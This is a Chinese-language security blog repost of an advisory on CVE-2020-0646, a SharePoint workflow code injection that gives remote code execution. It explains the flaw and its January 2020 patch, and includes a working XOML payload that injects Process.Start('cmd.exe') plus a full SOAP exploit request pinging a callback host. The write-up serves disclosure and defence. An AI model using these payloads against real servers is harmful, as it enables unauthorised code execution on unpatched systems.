前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2020-0646 SharePoint RCE - POC

CVE-2020-0646 SharePoint RCE - POC

作者头像
Khan安全团队
发布2021-01-11 11:40:54
发布2021-01-11 11:40:54
1.9K00
代码可运行
举报
文章被收录于专栏:Khan安全团队Khan安全团队
运行总次数:0
代码可运行

工作流中的代码注入导致SharePoint RCE (CVE-2020-0646)

说明

2019年11月向微软报告了SharePoint Online中通过工作流代码注入的远程代码执行问题,该问题在在线平台上立即得到了解决。然而,主要问题已于2020年1月在.NET框架中进行了修补。因此,没有2020年1月.NET补丁的SharePoint On-Premise版本仍然受到影响。

需要注意的是,当IIS支持.XOML扩展名时,这个问题也可能被滥用于文件上传攻击。

虽然这个漏洞的影响与之前发现的以下缺陷相同,因为它们都影响同一个模块,但它使用了不同的技术,而且它不是绕过已实施的修复程序。

https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/

https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-microsoft-xoml-workflows-protection-mechanisms-using-deserialisation-of-untrusted-data/

CVE-2020-0646分析

在编译XOML格式文件时,System.Workflow.Activities命名空间中的一些参数可能被滥用,在SharePoint服务器上运行任意代码。这个问题还绕过了Workflow编译器的nocode选项,因为它仍然可以执行任意代码。

以下XOML文件显示了使用CallExternalMethodActivity类时的一个例子。

代码语言:javascript
代码运行次数:0
运行
复制
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
  <CallExternalMethodActivity x:Name="codeActivity1" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//' />
</SequentialWorkflowActivity>

InterfaceType属性的值在编译过程中被注入到生成的临时C#文件中:

代码语言:javascript
代码运行次数:0
运行
复制
 private void InitializeComponent()
    {
        …
        this.codeActivity1.InterfaceType = typeof(System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//);      
        …
    }

因此,可以从函数中逃逸出运行代码。需要注意的是,其他字符串类型属性(如上例中的MethodName)都被正确验证或转义,而InterfaceType属性受到影响。

CodeActivity类的ExecuteCode参数也同样受到影响,但它在SharePoint Online版本上没有被授权,只能在On-Premise版本上工作。其他活动也可能被滥用。

以下HTTP请求可用于在SharePoint Online上执行代码为例:

代码语言:javascript
代码运行次数:0
运行
复制
POST http://[REDACTED].sharepoint.com/_vti_bin/webpartpages.asmx HTTP/1.1
Date: Tue, 29 Oct 2019 14:26:21 GMT
MIME-Version: 1.0
Accept: */*
SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSupportObjects
User-Agent: Mozilla/4.0 (compatible; MS FrontPage 15.0)
Host: [REDACTED].sharepoint.com
Accept-Language: en-us, en;q=0.1
Accept: auth/sicily
X-FORMS_BASED_AUTH_ACCEPTED: T
Content-Type: text/xml; charset=utf-8
X-Vermeer-Content-Type: text/xml; charset=utf-8
Accept-encoding: gzip, deflate
Connection: Keep-Alive
Pragma: no-cache
Content-Length: 1031
Cookie: [REDACTED]

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
  <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c ping o9ydzn3p7ed579lepxolocqyqpwik7.[redactedBurpCollabServer]");private/**/void/**/foobar(){//' />

</SequentialWorkflowActivity>


]]></workflowMarkupText><rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMarkupAndCreateSupportObjects></soap:Body></soap:Envelope>

结果,DNS名称被解析:

On-Premise版本也可以使用上述请求进行利用。

应用 CVE-2020-0646 补丁后,会检查工作流中的所有 XML 元素和属性,以确保它们只包含有限数量的允许字符。因此,当使用所选的nocode选项时,不再可能在默认配置中向生成的C#代码中注入任意代码。

参考文献:

https://www.mdsec.co.uk/2020/01/code-injection-in-workflows-leading-to-sharepoint-rce-cve-2020-0646/?fbclid=IwAR0b4QZxdQKVYN-ES62rdt9yN5MMzfgpK7DkdkbIq44Flm-ODiuqzeIglUQ

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-01-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档